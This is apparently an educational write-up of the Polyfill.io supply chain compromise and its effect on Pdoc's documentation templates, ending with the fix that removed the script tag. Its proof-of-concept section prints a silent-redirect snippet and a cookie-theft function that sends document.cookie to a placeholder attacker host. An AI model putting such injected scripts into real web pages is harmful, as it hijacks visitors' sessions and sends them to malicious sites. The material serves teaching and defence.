Skip to content

Polyfill.io Real Exploit

In this real exploit, you will learn how the third-party library Polyfill.io, used in Pdoc, contributed to a supply chain attack. We will explore how Pdoc was compromised to serve malicious code and the impact it had on its users.

Pdoc

Pdoc is an open-source tool that automates code documentation. It generates HTML-based documentation that can be easily viewed in a browser, allowing teams to quickly reference and share information across different devices.

While Pdoc strives to be self-contained, it includes external resources to support its math mode, which renders precise mathematical notation. To achieve this, Pdoc relies on an common library designed for this purpose. However, it also previously included polyfills from Polyfill.io for compatibility with older browsers.

<!-- pdoc/templates/math.html.jinja2 -->

<script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script>

Polyfills are code snippets that implement modern features in old environments. This is commonly done on older browsers to add support for modern JavaScript features. For example, if a browser lacks support for a specific function or HTML element, a polyfill can replicate that feature so users have the same experience.

// If Math.trunc is not supported
if (!Math.trunc) {
    // Implement a polyfill to support this feature
    Math.trunc = function(num) {
        return num < 0 ? Math.ceil(num) : Math.floor(num);
    }
}

Polyfill.io was a service that automatically supplied polyfills to older browsers. Rather than developers having to manually write polyfills to replicate missing features, they could simplify this process by integrating code from Polyfill.io.

Polyfill.io

Polyfill.io was commonly included by adding a script tag in an HTML file. This script would reference the Polyfill.io server, which would supply polyfills on older browsers. This helped give users the same experience when they visited a website.

For example, when a user visited a website, the browser would make a request to the Polyfill.io server. This request contained details about the browser so Polyfill.io could determine which features were missing. In response, the server generated a JavaScript file that the browser could execute to understand those missing features.

<!-- This requests a JavaScript file from Polyfill.io -->
<script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>

From an attacker's point of view, Polyfill.io was an ideal target because it was widely trusted by developers and integrated into countless websites. Its scripts were served directly to users, often without verification, meaning any code it responded with was executed automatically. This trust created a dangerous opportunity: if an attacker gained control, they could distribute malicious code.

alt text

That opportunity came when Polyfill.io was put up for sale. The original creator, who never held full control over the service, also had no influence over its sale. As a result, an attacker was able to acquire the service, leading to its compromise.

The attacker primarily targeted mobile users. When a mobile user visited a compromised website, their browser unknowingly downloaded and executed malicious code from Polyfill.io. This code then stole their information and redirected them to harmful websites, including phishing and gambling websites.

function check_device() {
    // Detect commonly used mobile devices
    var isMobile = navigator.userAgent.match(
        /(ios|Android|Mobile)/i
    );
    if (isMobile) {
        // Targeted action for mobile users
    }
}

By targeting a widely trusted service like Polyfill.io, the attacker managed to inject malicious code and exploit more than 100 thousand websites. This included Pdoc.

Pdoc and Polyfill.io

In the context of Pdoc, Polyfill.io supplied polyfills to support its math mode on older browsers. While this was a common practice at the time, it unknowingly exposed Pdoc and its users to risk when Polyfill.io was sold and compromised.

When the attacker gained control of Polyfill.io, the service became a vector for distributing malicious code across thousands of websites, including those using Pdoc. As a result, when users visited Pdoc-generated documentation with math mode enabled, their browsers would download and execute malicious code.

alt text

Proof of Concept

To illustrate the security risks introduced by Polyfill.io, consider the following example. When the attacker gained control of the service, they could inject malicious code into websites relying on Polyfill.io. This allowed them to manipulate users in various ways, including forced redirection to malicious websites.

// Malicious function demonstrating forced redirection
function redirect() {
    setTimeout(function() {
        // Attacker-controlled malicious website
        window.location.href = 'http://example.com';
    }, 10000); // Runs after 10 seconds, leaving users unaware
}

// Calls the function
redirect()

If a user visits a compromised website, they would be redirected in 10 seconds:

alt text

Another dangerous attack involves cookies. These are small pieces of data that websites store in a user's browser to maintain information about the user. If an attacker steals cookies, they can be used to impersonate users and hijack accounts.

// Malicious function demonstrating cookie theft
function stealCookies() {
    fetch('https://attacker.com/steal', {
        method: 'POST',
        body: JSON.stringify({ cookies: document.cookie }),
        headers: { 'Content-Type': 'application/json' }
    });
}

// Calls the function
stealCookies();

These examples demonstrate the significant security risk posed by supply chain attacks. By tampering with widely used services like Polyfill.io, attackers can target users across thousands of websites without needing direct access to each one.

Mitigations

To address the Polyfill.io vulnerability, the maintainers of Pdoc removed all references to the service from their math mode. During their review, they found that the features once needed for compatibility with older browsers had long since become standard. As a result, the polyfills had been unnecessary for some time.

<!-- pdoc/templates/math.html.jinja2 -->

- <script src="https://polyfill.io/v3/polyfill.min.js?features=es6"></script>
<script id="MathJax-script" async src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script>

This real exploit about Pdoc and Polyfill.io demonstrates how third-party libraries can be exploited to attack unsuspecting applications. In Pdoc's case, the polyfills had remained in use long after they were necessary, leaving a previously unnoticed vulnerability in the codebase. This real exploit highlights that even well-intentioned integrations can introduce risks if they are not carefully monitored.